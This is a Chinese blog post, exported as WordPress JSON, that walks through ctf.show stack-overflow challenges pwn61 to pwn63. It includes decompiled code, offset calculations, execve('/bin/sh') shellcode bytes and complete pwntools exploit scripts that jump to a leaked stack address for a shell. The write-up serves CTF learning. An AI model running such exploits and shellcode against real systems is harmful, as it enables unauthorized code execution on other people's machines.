{"id":312,"date":"2025-03-23T21:29:40","date_gmt":"2025-03-23T13:29:40","guid":{"rendered":"http:\/\/www.okabe.xin\/?p=312"},"modified":"2025-03-23T21:29:40","modified_gmt":"2025-03-23T13:29:40","slug":"%e7%b4%ab%e7%bd%97%e5%85%b0%e6%b0%b8pwn%e8%8a%b1%e5%9b%ad","status":"publish","type":"post","link":"https:\/\/www.okabe.xin\/wordpress\/?p=312","title":{"rendered":"\u7d2b\u7f57\u5170\u6c38pwn\u82b1\u56ed"},"content":{"rendered":"\n

pwn61<\/h2>\n\n\n\n

\u63d0\u793a\u770b\u8f93\u51fa<\/p>\n\n\n\n

\u4ea4\u4e92<\/p>\n\n\n\n

C:\\Users\\26597>nc pwn.challenge.ctf.show 28225
    \u2584\u2584\u2584\u2584   \u2584\u2584\u2584\u2584\u2584\u2584\u2584\u2584  \u2584\u2584\u2584\u2584\u2584\u2584\u2584\u2584            \u2584\u2584
  \u2588\u2588\u2580\u2580\u2580\u2580\u2588  \u2580\u2580\u2580\u2588\u2588\u2580\u2580\u2580  \u2588\u2588\u2580\u2580\u2580\u2580\u2580\u2580            \u2588\u2588
 \u2588\u2588\u2580          \u2588\u2588     \u2588\u2588        \u2584\u2584\u2588\u2588\u2588\u2588\u2588\u2584  \u2588\u2588\u2584\u2588\u2588\u2588\u2588\u2584   \u2584\u2588\u2588\u2588\u2588\u2584  \u2588\u2588      \u2588\u2588
 \u2588\u2588           \u2588\u2588     \u2588\u2588\u2588\u2588\u2588\u2588\u2588   \u2588\u2588\u2584\u2584\u2584\u2584 \u2580  \u2588\u2588\u2580   \u2588\u2588  \u2588\u2588\u2580  \u2580\u2588\u2588 \u2580\u2588  \u2588\u2588  \u2588\u2580
 \u2588\u2588\u2584          \u2588\u2588     \u2588\u2588         \u2580\u2580\u2580\u2580\u2588\u2588\u2584  \u2588\u2588    \u2588\u2588  \u2588\u2588    \u2588\u2588  \u2588\u2588\u2584\u2588\u2588\u2584\u2588\u2588
  \u2588\u2588\u2584\u2584\u2584\u2584\u2588     \u2588\u2588     \u2588\u2588        \u2588\u2584\u2584\u2584\u2584\u2584\u2588\u2588  \u2588\u2588    \u2588\u2588  \u2580\u2588\u2588\u2584\u2584\u2588\u2588\u2580  \u2580\u2588\u2588  \u2588\u2588\u2580
    \u2580\u2580\u2580\u2580      \u2580\u2580     \u2580\u2580         \u2580\u2580\u2580\u2580\u2580\u2580   \u2580\u2580    \u2580\u2580    \u2580\u2580\u2580\u2580     \u2580\u2580  \u2580\u2580
    * *************************************
    * Classify: CTFshow --- PWN --- \u5165\u95e8
    * Type  : Stack_Overflow
    * Site  : https:\/\/ctf.show\/
    * Hint  : Use shellcode to get shell!
    * *************************************
Welcome to CTFshow!
What's this : [0x7ffef4fdfd70] ?
Maybe it's useful ! But how to use it?<\/code><\/pre>\n\n\n\n
\u8f93\u51fa\u4e86\u4e00\u4e2a\u83ab\u540d\u5176\u5999\u7684\u6570\u5b57<\/p>\n\n\n\n
\u4e00\u773c\u662f\u5730\u5740<\/p>\n\n\n\n
\u8fd4\u56de\u53bb\u770bmain\u51fd\u6570<\/p>\n\n\n\n
int __fastcall main(int argc, const char **argv, const char **envp)
{
  FILE *v3; \/\/ rdi
  _QWORD v5[2]; \/\/ [rsp+0h] [rbp-10h] BYREF
\u200b
  v5[0] = 0LL;
  v5[1] = 0LL;
  v3 = _bss_start;
  setvbuf(_bss_start, 0LL, 1, 0LL);
  logo(v3, 0LL);
  puts(\"Welcome to CTFshow!\");
  printf(\"What's this : [%p] ?\\n\", v5);
  puts(\"Maybe it's useful ! But how to use it?\");
  gets(v5);
  return 0;
}<\/code><\/pre>\n\n\n\n
\u8fd9\u91cc\u53ef\u4ee5\u770b\u5230\uff0c\u8fd9\u91cc\u901a\u8fc7\u5360\u4f4d\u7b26\u8f93\u51fa\u7684\u662fv5\u7684\u5730\u5740<\/p>\n\n\n\n
v5\u5230\u6808\u5e95\u7684\u4f4d\u7f6e\u662f0x10<\/p>\n\n\n\n
64\u4f4d\u7a0b\u5e8f<\/p>\n\n\n\n
\u6240\u4ee5\u504f\u79fb\u91cf\u5c310x10+8<\/p>\n\n\n\n
\u591a\u6b21\u4ea4\u4e92\uff0c\u53d1\u73b0\u8fd9\u4e2a\u5730\u5740\u4f4d\u7f6e\u5728\u53d8\u5316<\/p>\n\n\n\n
\u6240\u4ee5\u9700\u8981\u60f3\u529e\u6cd5\u622a\u53d6\u8fd9\u4e2av5\u7684\u5730\u5740\uff0c\u4e8e\u662f<\/p>\n\n\n\n
p.recvuntil(\"What's this : [\")
shellcode_area = eval(p.recvuntil(b\"]\", drop=True))<\/code><\/pre>\n\n\n\n
\u62ff\u5230\u4e86v5\u7684\u5730\u5740\uff0c\u5c31\u53ef\u4ee5\u5bf9\u5e94\u7740\u4f20\u5165shellcode\u4e86<\/p>\n\n\n\n
\u6839\u636e\u8fd9\u4e2a\u65b9\u6cd5\uff0c\u5199\u51faexp\uff1a<\/p>\n\n\n\n
from pwn import *
context(arch=\"amd64\",log_level=\"debug\")
p = remote(\"pwn.challenge.ctf.show\",28255)
p.recvuntil(\"What's this : [\")
shellcode_area = eval(p.recvuntil(b\"]\", drop=True))
offset = 0x10 + 8
print(hex(shellcode_area))
shellcode = asm(shellcraft.sh())
payload = flat([cyclic(offset), shellcode_area, shellcode])
p.sendline(payload)
p.interactive()<\/code><\/pre>\n\n\n\n
\u4f46\u662f<\/p>\n\n\n\n
\u4e0d\u51fa\u610f\u5916\u662f\u51fa\u610f\u5916\u4e86<\/p>\n\n\n\n
\u6253\u4e0d\u901a<\/p>\n\n\n\n
\u7f51\u4e0a\u627e\u5404\u4f4d\u4f6c\u7684\u6587\u7ae0<\/p>\n\n\n\n
\u53d1\u73b0\u5b58\u5728\u4e00\u4e2a\u95ee\u9898<\/p>\n\n\n\n
shellcode\u592a\u957f\uff0c\u8d85\u51fa\u4e86v4,v5\u7684\u8303\u56f4<\/p>\n\n\n\n
Shellcode \u7684\u957f\u5ea6\u901a\u5e38\u4f1a\u8d85\u8fc7 v5 \u7684\u7a7a\u95f4\uff088 \u5b57\u8282\uff09\u3002\u5982\u679c\u76f4\u63a5\u8986\u76d6 v5\uff0cShellcode \u7684\u90e8\u5206\u5185\u5bb9\u53ef\u80fd\u4f1a\u88ab\u622a\u65ad\u3002\u6b64\u5916\uff0cleave ret \u4e4b\u540e\uff0c\u7a0b\u5e8f\u53ef\u80fd\u4f1a\u8df3\u8f6c\u5230\u4e00\u4e2a\u65e0\u6548\u5730\u5740\uff0c\u5bfc\u81f4\u5d29\u6e83<\/p>\n\n\n\n
\u53bb\u641c\u7d22\u4e86\u4e00\u4e0bleave<\/p>\n\n\n\n
\u7b49\u4ef7\u4e8e mov rsp, rbp \u548c pop rbp\u3002<\/p>\n\n\n\n
\u5b83\u5c06 rbp \u7684\u503c\u8d4b\u7ed9 rsp\uff0c\u4ece\u800c\u6062\u590d\u4e0a\u4e00\u4e2a\u6808\u5e27\u7684\u6808\u6307\u9488\u3002<\/p>\n\n\n\n
\u7136\u540e\u4ece\u6808\u4e0a\u5f39\u51fa rbp \u7684\u503c\uff0c\u6062\u590d\u4e0a\u4e00\u4e2a\u6808\u5e27\u7684\u57fa\u6307\u9488\u3002<\/p>\n\n\n\n
\u6240\u4ee5\u6211\u4eec\u628ashellcode\u5199\u5728v5\u540e\u9762\u5c31\u662foffset+0x8\u7684\u4f4d\u7f6e\uff0c\u56e0\u4e3a\u8fd8\u6709\u4e00\u4e2a\u8fd4\u56de\u5730\u5740\u7684\u4f4d\u7f6e<\/p>\n\n\n\n
\u4e5f\u5c31\u662f\u8bf4\uff0coffset+0x8\u662f\u4e3a\u4e86\u5b8c\u5168\u586b\u5145\u7565\u8fc7v5\u7684\u7a7a\u95f4\uff0c\u76f4\u63a5\u5f80\u540e\u5199<\/p>\n\n\n\n
\u6700\u7ec8exp\uff1a<\/p>\n\n\n\n
from pwn import *
context(arch=\"amd64\",log_level=\"debug\")
p = remote(\"pwn.challenge.ctf.show\",28255)
p.recvuntil(\"What's this : [\")
shellcode_area = eval(p.recvuntil(b\"]\", drop=True))
offset = 0x10 + 8
print(hex(shellcode_area))
shellcode = asm(shellcraft.sh())
payload = flat([cyclic(offset), shellcode_area + offset +8, shellcode])
p.sendline(payload)
p.interactive()<\/code><\/pre>\n\n\n\n
pwn62<\/h2>\n\n\n\n
\u7c7b\u4f3c\u4e0a\u9898<\/p>\n\n\n\n
\u5c06v5\u6539\u6210\u4e86buf<\/p>\n\n\n\n
\u8ddf\u8fdbbuf\uff0c\u53d1\u73b0<\/p>\n\n\n\n
-0000000000000010 \/\/ Use data definition commands to manipulate stack variables and arguments.
-0000000000000010 \/\/ Frame size: 10; Saved regs: 8; Purge: 0
-0000000000000010
-0000000000000010     _QWORD buf;
-0000000000000008     _QWORD var_8;
+0000000000000000     _QWORD __saved_registers;
+0000000000000008     _UNKNOWN *__return_address;
+0000000000000010
+0000000000000010 \/\/ end of stack variables<\/code><\/pre>\n\n\n\n
\u8fd9\u91cc\u53ef\u4ee5\u770b\u5230buf\u5b9e\u5219\u4e3a8\u5b57\u8282<\/p>\n\n\n\n
\u518d\u770bmain\u51fd\u6570<\/p>\n\n\n\n
\u5927\u81f4\u60c5\u51b5\u548c\u4e0a\u9898\u4e00\u81f4<\/p>\n\n\n\n
int __fastcall main(int argc, const char **argv, const char **envp)
{
  FILE *v3; \/\/ rdi
  _QWORD buf[2]; \/\/ [rsp+0h] [rbp-10h] BYREF
\u200b
  buf[0] = 0LL;
  buf[1] = 0LL;
  v3 = _bss_start;
  setvbuf(_bss_start, 0LL, 1, 0LL);
  logo(v3, 0LL);
  puts(\"Welcome to CTFshow!\");
  printf(\"What's this : [%p] ?\\n\", buf);
  puts(\"Maybe it's useful ! But how to use it?\");
  read(0, buf, 0x38uLL);
  return 0;
}<\/code><\/pre>\n\n\n\n
0x10+0x8=24\u5b57\u8282<\/p>\n\n\n\n
\u9009\u7528\u4e0a\u9898\u7684shellcode\u7684\u8bdd\uff0cshellcode\u7684\u957f\u5ea6\u4f1a\u662f48\u5b57\u8282<\/p>\n\n\n\n
\u8fd9\u6837\u5728\u8bfb\u53d6buf\u6bb5\u5185\u5bb9\u65f6\uff0c\u7531\u4e8e\u53ea\u8bfb0x38=56\u5b57\u8282\u7684\u5185\u5bb9<\/p>\n\n\n\n
\u5c31\u4f1a\u5bfc\u81f4payload\u88ab\u4ece\u4e2d\u95f4\u622a\u65ad<\/p>\n\n\n\n
\u6240\u4ee5\u9700\u8981\u4f20\u5165\u66f4\u77ed\u7684shellcode<\/p>\n\n\n\n
\u627e\u5230\u4e00\u7ec4shellcode<\/p>\n\n\n\n
32 \u4f4d \u77ed\u5b57\u8282 shellcode -> 21 \u5b57\u8282 <\/p>\n\n\n\n
\\x6a\\x0b\\x58\\x99\\x52\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x31\\xc9\\xcd\\x80<\/code><\/pre>\n\n\n\n
64 \u4f4d \u8f83\u77ed\u7684 shellcode -> 23 \u5b57\u8282 <\/p>\n\n\n\n
\\x48\\x31\\xf6\\x56\\x48\\xbf\\x2f\\x62\\x69\\x6e\\x2f\\x2f\\x73\\x68\\x57\\x54\\x5f\\x6a\\x3b\\x58\\x99\\x0f \\x05 \n<\/code><\/pre>\n\n\n\n
23+24+8=55\u5b57\u8282<\/p>\n\n\n\n
from pwn import *
context(arch=\"amd64\")
p = remote(\"pwn.challenge.ctf.show\",28203)
p.recvuntil(\"What's this : [\")
shellcode_area = eval(p.recvuntil(b\"]\", drop=True))
offset = 0x10 + 8
print(hex(shellcode_area))
shellcode=b'\\x48\\x31\\xf6\\x56\\x48\\xbf\\x2f\\x62\\x69\\x6e\\x2f\\x2f\\x73\\x68\\x57\\x54\\x5f\\xb0\\x3b\\x99\\x0f\\x05'
# shellcode1 = asm(shellcraft.sh())
# print(len(shellcode1))
# \u8fd9\u91cc\u7b97\u51fa\u6765\u7684\u76f4\u63a5\u751f\u6210\u7684shellcode\u957f\u5ea6\u4e3a48\uff0c\u6545\u6700\u540e\u8fd8\u662f\u5f97\u81ea\u884c\u8f93\u5165\u4e00\u4e2a\u6700\u77edshellcode
payload = flat([cyclic(offset), shellcode_area + offset +8 , shellcode])
p.sendline(payload)
p.interactive()<\/code><\/pre>\n\n\n\n
pwn63<\/h2>\n\n\n\n
\u9898\u76ee\u8bf4\u662f\u53d8\u4e86\uff0c\u786e\u5b9e\u53c8\u77ed\u4e86\u4e00\u70b9<\/p>\n\n\n\n
\u4f46\u662f\u5e76\u4e0d\u5f71\u54cd\u4e0a\u4e00\u4e2a\u7684shellcode<\/p>\n\n\n\n
int __fastcall main(int argc, const char **argv, const char **envp)
{
  FILE *v3; \/\/ rdi
  _QWORD buf[2]; \/\/ [rsp+0h] [rbp-10h] BYREF
\u200b
  buf[0] = 0LL;
  buf[1] = 0LL;
  v3 = _bss_start;
  setvbuf(_bss_start, 0LL, 1, 0LL);
  logo(v3, 0LL);
  puts(\"Welcome to CTFshow!\");
  printf(\"What's this : [%p] ?\\n\", buf);
  puts(\"Maybe it's useful ! But how to use it?\");
  read(0, buf, 0x37uLL);
  return 0;
}<\/code><\/pre>\n\n\n\n
\u5c31\u77ed\u4e860x1<\/p>\n\n\n\n
\u4e5f\u5c31\u662f\u53ea\u80fd\u8f93\u516555\u5b57\u8282<\/p>\n\n\n\n
\u800c\u4e4b\u524d\u7684shellcode\u4f20\u8fdb\u53bb\u521a\u597d55\u5b57\u8282<\/p>\n\n\n\n
\u76f4\u63a5\u7167\u642cexp\u5c31\u80fd\u51fa<\/p>\n\n\n\n
from pwn import *
context(arch=\"amd64\")
p = remote(\"pwn.challenge.ctf.show\",28209)
p.recvuntil(\"What's this : [\")
shellcode_area = eval(p.recvuntil(b\"]\", drop=True))
offset = 0x10 + 8
print(hex(shellcode_area))
shellcode=b'\\x48\\x31\\xf6\\x56\\x48\\xbf\\x2f\\x62\\x69\\x6e\\x2f\\x2f\\x73\\x68\\x57\\x54\\x5f\\xb0\\x3b\\x99\\x0f\\x05'
# shellcode1 = asm(shellcraft.sh())
# print(len(shellcode1))
\u200b
payload = flat([cyclic(offset), shellcode_area + offset +8 , shellcode])
p.sendline(payload)
p.interactive()<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"
pwn61 \u63d0\u793a\u770b\u8f93\u51fa \u4ea4\u4e92 \u8f93\u51fa\u4e86\u4e00\u4e2a\u83ab\u540d\u5176\u5999\u7684\u6570\u5b57 \u4e00\u773c\u662f\u5730\u5740 \u8fd4\u56de\u53bb\u770bmain\u51fd\u6570 \u8fd9\u91cc\u53ef\u4ee5\u770b\u5230\uff0c\u8fd9\u91cc\u901a […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[],"class_list":["post-312","post","type-post","status-publish","format-standard","hentry","category-ctf"],"_links":{"self":[{"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=\/wp\/v2\/posts\/312","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=312"}],"version-history":[{"count":0,"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=\/wp\/v2\/posts\/312\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=312"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=312"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=312"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}